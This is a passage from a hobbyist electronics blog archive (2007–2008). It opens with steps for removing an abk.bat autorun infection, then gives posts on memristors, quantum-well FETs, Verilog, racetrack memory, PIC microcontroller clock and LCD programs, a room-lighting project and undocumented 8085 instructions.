then reboot to another os preferably linux or to same system
delete all autorun.inf files made by the abk.bat infection
delete all abk.bats from all drives.
We cannot see the file unless we make all hidden files unhidden.
To enable the folder options >view>show hidden files and folders radiobutton
goto HKlocal machine>software>microsoft>windows>current version>explorer>advanced>folder>hidden>showall>click on checkedvalue and make its value 1
Then untick the hide protected os files in folderoptions >view
now the abk.bat files will be visible delete all of then including autorun.inf

Ultra dense non volatile memories using memristors

2008-11-14T08:27:00.000-08:00

The memristor was first proposed by a scientist named LEON O.CHUA in 1971 as a fourth fundamental circuit element. The existence of such an element was mathematically proved and the theoretical properties were predicted using mathematical equations. But it was only in April 2008 the scientists were able to came up with a physical model to prove it.
Why the name memristor
By definition a memristor is characterized by a relation of the type g(Ψ, q)=O. It is said to be charge-controlled (flux-controlled) if this relation can be expressed as a single valued function of the charge q (flux-linkage Ψ). The voltage across a charge-controlled memristor is given by

v(t) = M(q(t)) . i(t)
where

M(q) = d Ψ(q)/dq.

Since M(q) has the unit of resistance, it will henceforth be called the incremental memristance. The value of the incremental memristance at any time to depends upon the time integral of the memristor current (voltage) from t = - ∞ to t= to. Hence, while the memristor behaves like an ordinary resistor at a given instant of time to, its resistance) depends on the complete past history of the memristor current. The memory property of the memristor arises from this fact. It is interesting to observe that once the memristor voltage v(t) or current i(t) is specified, the memristor behaves like a linear time-varying resistor.

Thus while behaving like an ordinary resistor at any given instant of time t0, its resistance depends on the complete past history of the memristor current. Thus memristor is basically a charge dependent resistor. Since memristance is a function of charge which is the time integral of current, the memristor behaves like a nonlinear resistor. The equation v(t) = M(q) . i(t) gives linear relationship only when M(q) is constant. Constant M(q) means charge does not vary with time. But a nonzero current results in instantaneously varying charge. Thus M(q) results in a nonlinear relationship. Thus memristor has meaning only in nonlinear ckt.
Device structure and fabrication

Single-crystalline TiO2 was used to elucidate how the metal/oxide interfaces control the device resistance. As shown in Fig. 1a, a single crystal of rutile TiO2 (bandgap Eg =3.0 eV) was first annealed in a 95% N2 and 5% H2 gas mixture at 550 °C for 2 h to create an oxygen-deficient layer near the surface. Oxygen vacancies in TiO2 are known to act as n-type dopants, transforming the insulating oxide into an electrically conductive doped semiconductor. Metal/semiconductor contacts are typically ohmic in the case of very heavy doping, and rectifying (Schottky-like) in the case of low doping. Two pairs of 100 µm x 100 µm Pt and Ti electrode contact pads were deposited onto the single crystal, as shown schematically in Fig. 1a: pads 1 and 4 were Pt films (80 nm thick) and pads 2 and 3 were Ti films (5 nm thick) with Pt (80 nm thick) caps. The 5-nm Ti layer was used as a chemically reactive contact to further reduce the TiO2 and create a locally high concentration of oxygen vacancies close to the metal/ semiconductor interface. These two regions showed an ohmic contact with resistance ~ 40Ω, showing that the bulk resistance of the annealed single crystal was low. In contrast, the electrical resistance between the two chemically unreactive Pt contact pads 1 and 4 was four orders of magnitude higher than the others.

Memory Storage

The bipolar switching behavior of the nanoscale metal/metal oxide/metal memristors can be used to develop resistive non volatile RAMs (Re-NVRAMs). The researches and experiments are indicating that the memristor based Re- NVRAMs will be faster than the evolving memory technologies like MRAM, PCRAM etc and 100x times faster than flash memory. Also the scientists at HP have created an ultra high density crossbar switches, which use thin film memristors to pack a record 100Gbits per cm² in a single die compared to the 16Gbits for the highest density flash memory chips extant. The memristors made by HP are very small about 15nm.

HP memristor based RRAMs will be using the crossbar architecture. Metal lines spaced less than 50-nm apart will serve as the bottom electrodes with the top electrodes patterned from metal lines arranged perpendicular to the bottom lines into a crossbar switch. In between the metal lines twin layers of titanium dioxide is sandwiched --one doped with oxygen vacancies and the other undoped. Running current between two metal lines--one on the top and one on the bottom--the device will be able to address individual bit cells, changing their resistance and thus turning bits on and off.

Ø Reading: The reading operation can be performed simply by applying a voltage lower than the threshold voltage. If the memristor is on then it will conduct even at the threshold voltage. If off it will not conduct. Thus binary data can be read.

Ø Writing: The writing operation can be performed by applying a voltage greater than the threshold voltage to write 0( or 1 depending upon the configuration) by making the memristor ON. To write a 1 (or 0) a voltage of opposite polarity whose magnitude is greater than the threshold voltage is applied which turns the memristor OFF.

Ø Addressing: Metal lines are arranged in two layers like rows and columns which are perpendicular with the other and are separated by the thin semiconductor film. Running current between the metal lines- one on the top and one on the bottom- the device will be able to access individual bit cells, changing their resistance and thus turning bits ON and OFF.

Advantages of Memristive memory

Ø For the memristor based memories there is no need of refreshing the data as in the case of today’s DRAMs. This could drastically reduce the power consumption.

Ø The inductive and capacitive effects associated with the memristors are negligible. This eliminates the delays due to charging time, storage time, discharging time.

Ø The memristive behavior and speed is inversely proportional to the square of device size. So scaling down increases the performance by great extent.

Ø The memristors can packed at a very large density than transistors. 15nm memristors are made which can hold 100Gbits/cm². Even at 4nm, a square centimeter of memristor can hold one terabit ie 10¹² bits/cm².

Ø Analog data storage is possible under controlled operation.

Quantum Well FET(QWFET)

2008-10-25T07:55:00.001-07:00

Quantum mechanical effects become important when device geometries are scaled down to nanometer range. In ultra deep submicron regime, quantum mechanical effects can be a show stopper for device integration. InSb QWFET is a device utilizing the high mobility of InSb. InSb QWFET based circuits will consume less power and ultra high switching speeds can be achieved using it.
The quantum well transistor architecture employs barrier layers with higher band-gap materials to mitigate the effect of the narrow band-gap InSb on device leakage and breakdown.The transistors were fabricated on a semi-insulating GaAs substrate using a relaxed metamorphic buffer layer of AlyIn1-ySb to accommodate lattice mismatch, a compressively strained InSb quantum well confined between layers of AlxIn1-xSb and a Schottky barrier metal gate. High speed carrier transport occurs in the low band-gap InSb quantum well (QW). The buffer layer is made of AlkIn1-kSb, with the indium concentration graded so that it can match the lattice constant of both the GaAs substrate and the InSb channel.

The high speed of operation is achieved using the material property of InSb as well as the property of quantum wells.InSb is known to be the greatest mobility semiconductor. A remote doping concept is used to get ride of the impurity scattering.An extractive technology (substrate bias with potential hill)is used to extract the thermally generated carriers so that the device can be operated at room temp.

For high speed direct coupled FET logic (DCFL) applications, both enhancement (i.e. positive VT) and depletion mode devices are required. An enhancement mode InSb QWFET is demonstrated for the first time using a deep recess etch in the gate region, which shows a peak fT of 305GHz at 0.5V VDS. A depletion mode device is demonstrated at the same time utilizing a shallow recess gate with a peak fT of 256GHz at 0.5V VDS. The demonstration of both high performance depletion and enhancement mode InSb QWFETs makes the technology a promising candidate for future high speed, low power logic applications. Enhancement device achieve record intrinsic speed of 305GHz .The record speed of the enhancement device is due to the deep recess etch. The deep recess etch increases the gate control of the device as described by the MOSFET ID(sat) equation. Recessed gate architecture improves the gate field to quantum well coupling, improving scalability. Scalability further increases by buffer p-type doping.

Learning VerilogHDL

2008-09-21T00:16:00.000-07:00

There are several ways of representing digital logic.One method employed to simplify the complexity in transfering the schematic representations is to use HDLs(hardware description languages).One popular one is Verilog HDL. Although there are no packages and libraries available in Verilog ,its simpler because of its similarity in format compared to C language.Note that the C is a sequntial laguage running on sequential device ,while the Verilog is a HDL which is only for the hardware! its not a programming language!
Another great thing about this Verilog is that it allows various levels of abstraction
We can have a structural style a data flow style or a behavioural style!The Verilog HDL is an event driven one.(assuming fedora, am in fedora9)We require a open source tools such as cver and gtk wave for simulation and result.gtk wave is a waveform viewer.There are many more tools available.
The basic functional block in Verilog is the "module"
A typical module statement may look like module halfadder(A,B,S,Cout);
where the A,B,S,Cout are the input and output list of a half adder

The code for generating a half adder is shown
(open any editor,vim ,gedit ,any edit type the following code)
module halfadder(A,B,S,Cout);
input A,B;
output S,Cout;
xor x1(S,A,B);//since this is a primitive we cannot specify the portlist as we wish
//the format is output followed by input
and a1(Cout,A,B);
endmodule
we save this as a file (say) ha.v
The above specified code is a structural description of half adder.after creating this we have created a half adder in verilog. This can be given to the synthesis tool.For varification of the logic of the ckt we need testbenches to be written .

`timescale 1ns/1ps
`include "ha.v"
module ha_tb;
reg A_t,B_t;
wire S_t,Cout_t;

halfadder UUT(.A(A_t),.B(B_t),.S(S_t),.Cout(Cout_t));
initial
begin
$dumpfile("ha.vcd");
$dumpvars(2,ha_tb.UUT);
end

initial
begin
A_t=1'b0;
B_t=1'b0;
#5 A_t=~A_t;
#5 B_t=~B_t;
#5 A_t=~A_t;
end
initial
#30 $finish;
endmodule

after saving this in another name ha_tb.v,we can simulate the half adder with the help of test bench and cver writing
user$]cver ha_tb.v to the terminal .Then it will generate a value change dump file called ha.vcd in the same directory which can be opened through GTKwave for viewing the simulation result!

MAGNETIC DOMAIN RACETRACK MEMORY

2008-08-09T00:19:00.000-07:00

Fig.1.

Fig. 1. The racetrack is a ferromagnetic nanowire, with data encoded as a pattern of magnetic domains along a portion of the wire. Pulses of highly spin-polarized current move the entire pattern of DWs coherently along the length of the wire past read and write elements. The nanowire is approximately twice as long as the stored DW pattern, so the DWs may be moved in either direction. (A) A vertical-configuration racetrack offers the highest storage density by storing the pattern in a U-shaped nanowire normal to the plane of the substrate. The two figures show the magnetic patterns in the racetrack before and after the DWs have moved down one branch of the U. past the read and write elements, and then up the other branch. (B) A horizontal configuration uses a nanowire parallel to the plane of the substrate. (C)Reading data from the stored pattern is done by measuring the tunnel magnetoresistance of a magnetic tunnel junction element connected to the racetrack. (D) Writing data is accomplished, for example, by the fringing fields of a DW moved in a second ferromagnetic nanowire oriented at right angles to the storage nanowire. (E) Arrays of racetracks are built on a chip to enable high-density storage.

RM is fundamentally a shift register in which the data bits (the DWs) are moved to and fro along any given racetrack to intersect with individual reading and writing elements integrated with each racetrack.Permalloy is the term for a nickel iron magnetic alloy. Generically, it refers to an alloy with about 20% iron and 80% nickel content. Permalloy has a high magnetic permeability, low coercivity, near zero magnetostriction, and significant anisotropic magnetoresistance.

Advantages of racetrack memory over the other types of memory

•Alternative for HDDs and existing solid state memories except SRAM.

•100 times bits/area than SRAM

•Greater operating speed and less power consumption

•Can be 3D.

can replace the current architecture of memory in computers

MOSFET SCALING

2008-08-01T09:24:00.000-07:00

High K Metal Gate Technology (HKMG)

Dielectric leakage problem

•Dielectric leakage is problem faced during scaling the MOSFET

•This happens because of the tunneling of the electrons through the thin dielectric

•As the width(physical) of the dielectric reduces leakage becomes more due to tunneling

High K Solution

• The problem however can be overcome by the usage of High K dielectric.This shows that the ,material must be electrically thin but physically thick(Hafnium oxide ).For the same capacitance the oxide thickness of the high K dielectric (oxide) can be more .

Problem with the polysilicon gate

Polysilicon depletion
Need for enhanced channel mobility

Potential solution

•No depletion, very low resistance gate, no boron penetration, compatibility with high-k

•Also lesser phonon scattering, hence enhanced mobility

SIMPLE LCD USAGE THROUGH PIC C

2008-06-12T12:16:00.000-07:00

PIC C is a c compiler for pic microcontrollers (described earlier for my iROOM)

Here is a simple "hello world" fprogram for the pic 16f877A

#include <16f877a.h> //Must be included
#use delay(clock=16000000) //for specifying the clock frequency in Hz

#include

void main()
{
lcd_init();

/*******************************************************************************/
//PRINTING "HELLO WORLD" IN LCD
/*******************************************************************************/

lcd_putc("\f HELLO WORLD \n");

// \f Clear display
// \n Go to start of second line
// \b Move back one position

}

TDA7267 Mono Audio Amplifier

2008-06-01T10:03:00.000-07:00

APPLICATION circuit
The device TDA7267 is a new technology Mono Audio Amplifier in MINIDIP package specifically designed for TV application.Thanks to the fully complementary output configuration the device delivers a rail to rail voltageswing without need of boostrap capacitors.
APPLICATION HINTS:
For 12V supply and 8W speaker application, its
maximum power dissipation is about 1W.

MEC 3D walk through

2008-05-18T10:46:00.000-07:00

Electronic Circuits That Bend and Stretch

2008-04-04T11:41:00.000-07:00

The new circuits, developed by a team of researchers at the University of Illinois at Urbana-Champaign led by Professor John A. Rogers, are built from ribbons of silicon only a few nanometers thick that are mounted on flexible plastic substrates.

SHRINK, WRAP: : This circuit sheet [LEFT] has not aged rapidly. The wrinkles make it possible to stretch the sheet over a sphere or an irregularly shaped object without breaking the sheet or damaging its current-conducting structures. To wrap circuits around a rod as thin as a strand of hair [RIGHT], the researchers made them superthin.
for more details click here

Automatic light intensity control system and state identification

2008-04-01T01:17:00.000-07:00

The block diagram explains the basic system design. Driver used is MAX 7219.The driver is controlled by a PIC (not necessarily PIC). The driver reduces complexity of work associated with the individual basia required for the LEDs. The driver however can drive 64 LEDs and conmsumes only 160mA at 5V. Thus its a great promise for the future lighting solutions.

i-Room is a state-of-the-art, self-configuring lighting control system solution for bedrooms, offices and perimeter areas. Under automatic operation, the system senses luminosity inside and outside a room, dims the LED’s to maintain a prescribed level of illumination inside the room. i-Room is an smart system that saves energy by keeping unoccupied cells of a large room unlit and maximizing the use of available natural light inside the room. By operating on a feedback loop where the system senses light and the presence of people, the system makes smart decisions on how to best illuminate the space according to presence of people and control the brightness according to ambient light. The project is very expandable and versatile. The heart of the system is the state synthesizer PIC 16F883 which is an 8 bit CMOS microcontroller. The sensors of the system are LASER-LDR pair that is available and can be set up easily. In the long-run, i-Room provides control solutions that reduce energy costs and extend lamp life.

i-ROOM is a simplified version of systems and equipments sold at high prices in the high-income housing segment as well as high-visibility public buildings. With improvements, i-ROOM could also be used in architecture projects to enhance prototypes and models of buildings.

STATE OF ART TECHNOLOGY HISTORY

There are available at least two broad categories of automatic lighting control systems for rooms. Automatic lighting control systems falling into the first broad category consist of a plurality of discrete, self-contained automatic lighting control modules which operate essentially independently of one another for controlling the lighting conditions in respective separate sections of a large room. Automatic lighting control systems falling into the second broad category employ a network of sensors for detecting the illumination levels and/or presence of persons in each part of the room and a programmable central controller which analyzes the sensor feedback signals in accordance with a lighting control program, and outputs control signals to adjust the lighting levels of the monitored regions of the room in accordance with the lighting control program. In this connection, automatic lighting control modules in each part of the room are operated under the control of the programmable central controller. Thus, rather than operating independently of one another, the distributed modules are functionally integrated into a single room-wide network under the control of the programmable central controller. …………………

In the type of system of first category, each light source is provided with an automatic control device which includes a presence detector (e.g., a motion detector or a passive infra-red detector) and a light intensity detector (e.g., a photocell detector). In operation, each automatic control device functions to switch its corresponding light source on when an occupant is detected in its localized area of coverage and to vary the intensity (brightness) of the light produced by its corresponding light source in response to variations in the sensed ambient or background light level in its localized area of coverage. In this manner, adequate lighting is provided in all occupied areas despite variations in the ambient lighting conditions present in various zones of the room.

Another way of implementing system includes one or more individual dimming controllers each of which controls the light intensity (brightness) of one or more light sources in a room or localized area of the building which is lit by internal light and external light. In particular, each dimming controller adjusts the intensity of the internal light in dependence on the external light intensity, which varies with the time of day and atmospheric conditions. The intensity and direction of the external light is sensed by external light sensors. Each of the light sources in the various sections of a large room can be provided with an individual dimmer, to thereby enable the intensity of the different light sources to be individually adjusted in such a manner as to provide either a uniform or non-uniform light intensity profile. In general, the light intensity of the internal light is controlled in substantially inverse dependence on the external light, e.g., when the external light decreases the light inside the room is made brighter.

A more advanced automatic lighting control system of the first category developed so far is a programmable illumination system which includes a plurality of individual illumination units each of which is provided with a programmable controller which functions to automatically adjust the light level of its associated illumination unit to a prescribed (programmed) light output level for each of a plurality of different illumination modes. Such an illumination system has particular utility in a space, such as a living room, offices, or shop, in which various different tasks which require different lighting conditions are to be performed. An illumination mode is defined as a particular setting of the light output levels of all illumination units in a particular illumination area for providing a desired illumination profile for a particular task to be performed (or desired ambience) in that particular illumination area. After initial programming of the system, the system automatically adjusts the output levels of the individual illumination units to the proper level for a selected illumination mode.A wireless or hard-wired remote controller can be utilized to program each of the individual illumination units of the system.

The automatic lighting control system of the second category developed includes a programmable microprocessor-based central controller which is responsive to feedback signals produced by a network of presence and light sensors distributed throughout various sections of a room to automatically control the light output levels of lighting units in different zones of the room. The system is equipped with an override feature to enable room occupants to override one or more of the automatic lighting features of the system, e.g., to enable the lights to be turned off, despite the sensed presence of people in a room. For example turning off lights for the operation of an overhead projector (OHP).

A more advanced automatic lighting control system of the second category includes a plurality of illumination sensors distributed throughout the building, but advantageously not necessarily in a one-to-one relationship to the light sources distributed throughout the room. In this connection, a generally lesser number of illumination sensors than light sources are strategically placed inside (and outside, if desired) of the room in order to provide a non-redundant set of measurements of internal illumination. These measurements are then collectively processed by a central automatic control device which preferably includes a neural network or a fuzzy logic unit. The automatic control device is programmed with a set of inference rules chosen to meet user-defined comfort and/or energy efficiency criteria. In operation, the automatic control device automatically controls the light output levels of the light sources throughout the room in accordance with the user-defined inference rules to thereby meet the user-defined comfort and/or energy efficiency criteria. Various user-selectable customized usage modes can be programmed to enable room occupants to vary the general lighting conditions in a selected or area(s) of the room in accordance with various usage requirements by merely selecting the appropriate usage mode desired by the occupants of the room.

A major shortcoming of all presently known automatic lighting control systems is that none of them are designed to optimize the energy efficiency of a room lighting system for a target energy consumption level and a prescribed set of lighting system usage parameters and constraints. Thus, there exists a need in the art for an automatic lighting control system which overcomes this and other limitations, disadvantages, and shortcomings of the presently known automatic lighting control systems.

PRESENT SITUATION

Presently methods for optimizing the energy efficiency of a lighting system which includes a plurality of light sources, which includes the steps of defining a set of parameters for the lighting system, and using a linear programming technique, taking into account the set of parameters, to produce energy allocation output data which satisfies a total energy consumption constraint that the total energy allocated to the lighting system not exceed a target energy consumption level, and which is representative of an optimal allocation of energy to each of the light sources. The lighting system is installed in a room which includes a plurality of sections each of which is equipped with light sources.

In general, the lighting optimization problem is translated into a linear programming problem by formulating a set of lighting system energy allocation constraints, converting these constraints into a set of constraint equations and a cost function, converting the constraint equations into a set of simultaneous linear equations, and then solving the set of simultaneous linear equations in such a manner as to minimize the cost function, to thereby produce the energy allocation output data, which is preferably in the form of an optimal brightness level for each light source. These steps are preferably implemented in computer software, which is preferably loaded in a programmable central controller of an intelligent lighting control system which is responsive to the energy allocation output data for automatically adjusting the brightness level of each of the light sources to the optimal brightness level.………………………………………………………………….

Preferably, available energy remaining after satisfying minimum brightness levels for each zone in the room is allocated at least partially on the basis of the designated priority level of each room, and/or the energy efficiency of the light sources. Further, zones of equal priority are preferably allocated an equal amount of available energy. Also, the method preferably includes a post-processing filtering step for determining whether the optimal brightness level for each zone is equal to a minimum brightness level, and, if not, adjusting the optimal brightness level for the zone to the minimum brightness level.

The terms "room", and "light source" can be used in their broadest possible sense. For example, the term "room" can be intended to encompass any structure which has a lighting system, including, but not limited to, single-family homes, multi-family dwellings, apartment buildings, office buildings, warehouses, factories, gymnasiums, auditoriums, theaters, museums, shops, restaurants, hotels, shopping malls, and indoor stadiums. The term "room" is intended to encompass any identifiable, separately lighted portion, zone, sector, or localized area of a building, including, but not limited to, conventional rooms such as offices, bathrooms, closets, storage areas, factory floors, basements, conference rooms, foyers, common areas, utility rooms, or any associated set of such separately lighted portions or zones, sectors, or localized areas of the building whose lighting is intended to be commonly controlled. The term "light source" is intended to encompass not only individual lamps, but also any associated set or group of lamps which are intended to be commonly controlled, e.g., all of the lamps associated with a given room in the building.

State identification program for the iRooM project

2008-02-05T06:08:00.001-08:00

ROOM SETUP The room setup required for the implementation of the state identification is as shown above. The partitions can be done logically using the LASER -LDR,LASER-Phototransistor,or IR -sensor pairs .

The room is divided into three cells named C0 C1 and C2. S0, S1 and S2 are state variables that store the present state of the cell (i.e. state is 1 if people are present in the cell and 0 if cell is vacant). A small region near the door is assigned a state variable S3.

It is an intermediate state that is used to determine entry into and exit from the room. L0, L1, L2, L3, L4, L5 are the sensors placed in the room to determine the transition of people across the room through various cells. This is necessary to determine the present state of each cell so as to do automatic lighting up of an LED array provided in each cell if count of people is the cell is greater than zero. The LED array in each cell is OFF if the cell is empty.

STATE SYNTHESIZER

The automatic lighting system control is implemented with the help of a state synthesizer, which generates the next state with the help of present state and sensor inputs. A program is written and the artificial intelligence is created by burning that program into the microcontroller that emulates the function of a state synthesizer.The state transitions are detected by the sensor inputs and past states. The output of the state synth is the state itself hence its a moore one.

Programming the PIC in C/PIC C

2008-01-27T04:33:00.002-08:00

First thing is to find a help file located anywhere in the compiler development environment .Then we have to understand the basic data types .Then the most important part in pic C programming is to understand the built-in functions and the port directives like" poke "in PICbasic .Then we have to write the code in the development environment,including the basic header files .For example in case of the picc compiler we may be including the "16f877.h",if we are using the 877 pic of the 16f series.but there is no such option in micro c as well,instead it requires some project file initialization i think!!
For the demonstration purpose i have written a code to make pinA0 high if pinB0 is high and then push pinA1 low.Else if the pinB0is low the pinA0must be 0 and pinA1must be 1. During this time the pinC0 will blink with a delay of 500ms
the code is given below

PSoC A New Way to Design

2008-01-26T10:32:00.000-08:00

PSoC = Programmable System On Chip
PSoC is a configurable mixed signal array with an on board controller.
Pre-configured and Pre-characterized Digital
and Analog PSoC Blocks

Analogous to On-chip Peripherals
ADC’s, DAC’s, PGA’s, Filters
Timers, Counters, PWM’s
UART, SPI, I2C

Defines the Register Bits for Initial Configuration
Selected via Double Click in IDE

User Modules Include
Application Programmer Interfaces (APIs)
Interrupt Service Routines (ISRs)
Specific UM Data Sheets

Analog user modules

ADC
ADCINC Incremental 6 – 14 bits
DELSIG Delta Sigma 6 – 13 bits
DAC
6, 8, and 9-bit
6 and 8 bit multiplying
Filters
2-pole Low-pass filter
2-pole Band-pass filter
Amplifiers
Programmable Gain Amplifier
Instrumentation Amplifier
Inverting Amplifier
Programmable Threshold Comparator
DTMF Dialer
Digital user Modules
8, 16, 24, 32-bit Timer
8, 16, 24, 32-bit Counter
8, 16-bit PWM
8, 16-bit Dead Band Generator (2 Phase Underlapped Clock)
Pseudo Random Source (PRS)
Cyclic Redundancy Check (CRC) Generator
I2C Master
I2C Slave
SPI Master
SPI Slave
Full Duplex UART
Full Speed USB V2.0

Integrated Development Environment

A successful, programmable SoC requires great integrated development environment

LG-KV5900 Wireless Handset
CapSense by PSoC

Applications
Capsense technology is a hallmark of Cypress,Which deals with the sensing of capacitance to find the results .Most of the touch buttons can be made capsense.The advantage is that a phone using this capsense wont require an external lock for the keypad or a program .It senses only the human touch

With the invention of these PSoCs the world has changed into a program where the hardware abstraction is done through some techniques and the whole hardware things are solved as programs tobr written on a PSoC.This is due to its large numberof analog and digital integration.

For more informations goto Cypress

Serially Interfaced, 8-Digit LED Display Drivers

2008-01-11T22:55:00.001-08:00

Its a gr8 ic that includes itself from the pwm brightness controll cktry to the scanner ckt.
The ic minimizes the requrement of the decoder ckt and the counter for the led lighting
dispaly that is explained earlier in my blog.Also there is a internal PWM generator with
several registers for the controll of the whole ic .The register format is given below
We can write the corresponding data in to this registers to controll various operations .
For example if we have to contoll the brightness of the led array use some data between x0to xf.
the pwm is done in odd steps from dutycycle 1/32 to 31/32 hence a total of 16 brightness steps are possible.
The whole array can be divided into 2 namely seg(+)(8)lines and digit(-)(8)lines intersecting at the required points where we place the led or the intersection point is the led junction.
Led driver maximum current can be fixed by the external resistance Rset !<10kohm,
for more information abt the project clickhere

SCILAB

2007-12-22T10:31:00.000-08:00

It is a high level programming language in that most of its functionality is based around the ability to specify many computations with few lines of code.It is similar in functionality to MATLAB, but is available for download at no cost.GOTO SCILAB
Fig shows the scilab editor
Actually the software is faster than the matlab environment ,the personal experience proves scilab faster and consumng less space
while matlab consumes 3gb+,scilab takes only 30mb+

Fig below shows the scilab graphic window

The code for the 8085 simulator in C

2007-11-06T10:25:00.000-08:00

Under construction
Assmbler+Simulator
available on request

80386 ,8086,80286 architecture & manual

2007-10-31T10:50:00.000-07:00

For downloading 80386 reference manual along with datasheet click
here
there is a lot more to understand other than a manual
here is another site for the 80386 programming manual

Here is another link for the advanced microprocessors which make clear the architecture and programming things more.The site deals with all the x86 series processors.

8085 REAL TIME SIMULATOR

2007-10-18T11:05:00.000-07:00

I have developed an 8085 simulator with real time computation , using the great C language .Some of the improvements of the simulator is that it enhances the stored program on the hard disk to be
loaded into the virtual 8085 environment and it also helps us to save the data(8 bit) as well as the code (8bit) for later use .Many of the present day simulators doesn't have these capabilities of save and load concept!

Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as its compiler. It creates native Win32 executables, either console or GUI.
Dev-C++ is Free Software (also referred as Open Source), and is written in Delphi.To download the software either click on the image above or gotodevcpp
The simulator can be downloaded from the side bar.
pls comment abt the good and bad things abt the simulator so that i can improve that

Undocumented 8085 Instructions

2007-08-04T12:41:00.000-07:00

FLAG REGISTER of 8085

Bit	undocumented 8085	Remark
7 (MSB)	S	Mark flag,sign flag
6	Z	Zero flag
5	X5,k	Originally unused, concerning X5 or k it mentions later
4	AC	Auxiliary(Assistant) carry or half carry and for BCD operation revision
3	0	Unused
2	P	Parity flag, as for just Z80 CPU overflow flag combined use
1	V	Overflow flag or subtraction flag
0 (LSB)	C	Carry

X5-in case of the usual 8 bit addition and subtraction when the mark of 1st operand S1, the mark of 2nd operand designating the mark of S2 and the operational result as R, it seems that can describe the change of X5 with the formula, X5 = S1 & S2 | S1 & R | S2 & R.
UNDOCUMENTED INSTRUCTIONS OF 8085

Operator cord/code	clock	undocumented 8085	Discription
08	10	DSUB	HL = HL - BC . Z, S, P, CY, AC and X5, V all flag receives influence
10	7	ARHL,RRHL	Rotate HL right. 16-bit rotation, flags unchanged.HL = HL/2 and CY = L0 . ARHL order is arithmetic right shift of HL register pair. MSB of the H register which means the mark does not change. The least significant bit of L register enters into the CY flag. Just the CY flag changes.
18	10	RDEL,RLDE	Rotate DE left. Bit 15 to Carry. No other flags. DE = DE*2 and E0=CY and CY =D7
20	RIM	RIM	read interrupt mask
28	10	LDHI imm,ADI HL,bb	Add 00bb immediate to HL, setting flags. DE = HL + imm
30	SIM	SIM	set interrupt mask.
38	10	LDSI imm,ADI SP,bb	Add 00bb immediate to stack pointer, setting flags. DE < - SP + imm
CB	6/12	RSTV,OVRST8	RST 8 (to 0040) if the V flag is set. push PC and PC = 0040H
D9	10	SHLX,SHLDE	LD [DE],HL.[DE] = HL
DD	7/10	JNX5 addr,JNK addr	Jump to location addr if K flag is reset. if (! X5) PC = addr
ED	10	LHLX,LHLDE	LD HL,(DE).HL=[DE]
FD	7/10	JX5 addr,JK addr	Jump to location addr if K flag is set. if (X5) PC = addr

The 8085 is 100% software compatible with the 8080. It was called the 8085 because it's a 5V version of the 8080, which needs +5, +12 and -5 voltage supplies.

programming in C

2007-07-03T09:12:00.000-07:00

Here is a program written in c for the digital clock
program:
void main()
{
int a,b,c;
c=b=0;
a=1;
TRISC = 0;
TRISA = 0;
TRISB = 128;

while(1)
{
if((b & 128)==128 )
{
while(1)
{
TRISA = 31;
TRISB = 255;
TRISC = 255;
a=PORTA;
b=PORTB;
c=PORTC;
if ((b & 128)==128)
continue;
else
{
break;
}
}
}

PORTA = a;
PORTB = b;
PORTC = c;

c++;
if((c & 10) == 10 )
{
c=c+6;
}
if(c==96)
{
c=0;
b++;
if(b & 10 == 10)
{
b=b+6;
}
if((b==96)||(b==224))
{
b=0;
a++;
if(a & 10 == 10)
{
a=a+6;
}
if (a == 19)
{
a=1;
if(b & 128 ==128)
b=0;
else
b=128;
c=0;
}
}
}
Delay_ms(1000);
}
}
use microc compiler if necessary

A digital clock using PIC16F72

2007-06-15T12:16:00.000-07:00

'****************************************************************
'* Name : clock.BAS * '* *
'* Author : [RAVEENDRA PAI G] *
'* Notice : Copyright (c) 2007 [RAVEENDRA PAI G] *
'* : All Rights Reserved *
'* Version : 1.0 *
'* Notes :digital clock *
: The program counts if the portb.7=0 and loads the count if the portb.7=1 following are the functions of the ports
portA=hour indicator in bcd
portc=second indicator in bcd last pin ie pin7 is not used for indicating time its for am or pm
portb=min indicator with last pin i/p
NOTE that the statements starting with ' are comments!
'****************************************************************
b0 var byte 'b0 as byte
b1 var byte
b2 var byte
b3 var byte

b0=b1=0 'initialization
b2=1
l6: 'redefinition label
TRISA=0
TRISB=128 'making the pins i/p as well as o/p
TRISC=0

l1: 'label1

poke PORTA,b2 'writing variable b2 to portA
POKE PORTB,b1
POKE PORTC,b0
pause 1000 'pause for 1 sec

peek PORTB,b3 'peeking the portB for some interrupts on the i/p pin 7
if ((b3 AND 128)=128) then goto l5 'checking the pin condition

b0=b0+1 'updating the sec variable
if (b0 AND 10)=10 then b0=b0+6 'if b0 value is (lsb)10 then its is updated to bcd
if (b0=96) then goto l2 'for 60 it is updated to 0 and min =min+1
l9:
goto l1
l2:
b0=0
b1=b1+1
if ((b1 AND 10)=10) then b1=b1+6 'same function as b0 updation but min
if ((b1=96) or (b1=224)) then goto l3 'msb is the am or pm indicator
l8:
goto l9

l3:

b1=0
b2=b2+1 'hour update
if ((b2 AND 10)=10) then b2=b2+6
if (b2=19) then goto l4 'hour returns to 0 and am<=>pm
l10:
goto l8
l4:
if ((b0 AND 128)=0) then b0=0
if ((b0 AND 128)=128) then b0=128
b1=0
b2=1
goto l10
l5: 'interrupt loop for time reset
TRISA=31 'redefining the pins all as i/p pins
TRISB=255
TRISC=255
peek PORTC,b0 'peeking pins and writing them on variables
PEEK PORTB,b1
PEEK PORTA,b2
if ((b1 AND 128)=128) then goto l6 'check for interrupt cancel portb.7=0
goto l5
#########################################################
for the bcd to sevensegment conversion use a 74LS48 :
PIC16F72

connect the memoryclr complement to vcc through a resistor(4.7k)
connect the vdd to vcc
connect the vss to gnd
connect the 10 and 9 to a common point through a capacitor of value 22pf (10 to 33pf)and connect that point to vcc through a .1microfar capacitor
Use switch to load the time and count !

Coupling & transmission

2007-05-22T09:26:00.000-07:00

Well there is a great difference between these two words but may feel same
practically! Once my friend Manu thomas was completing his excel project
,perhaps violated some ckt connections .Anyway a "man" call for me had
been made .At that time we were completing our project on robotics .
Stunned looking at the result!
The project included a laser based voice transmitter and receiver .
When he had removed the laser somewhat due to some power
supply problems related to the laser ,becoz he used the laser torch
which is available in market for just 30.00RS at marine drive ,
and instead of battery ,he used the 3v from the transmitter ,
connected only for the demonstration .Anyway demonstration
completed successfully.The transmission quality was great with
the help of laser .When the wire connecting the laser to the transmitter
broken it was found that there was a slight change in quality of the sound
transmitted,instead of vanishing of received signal.(he used mobile phone
music as sound source).
Astonished!proving nothing in theories!sound had been transmitted
without modulation without antenna which requires large height!
Is it possible?
what happened next

what makes a human different from a robot?

2007-05-17T04:10:00.000-07:00

what makes a human different from a robot?
The answer is simple his cpu the gr8 "brain",with stable processor
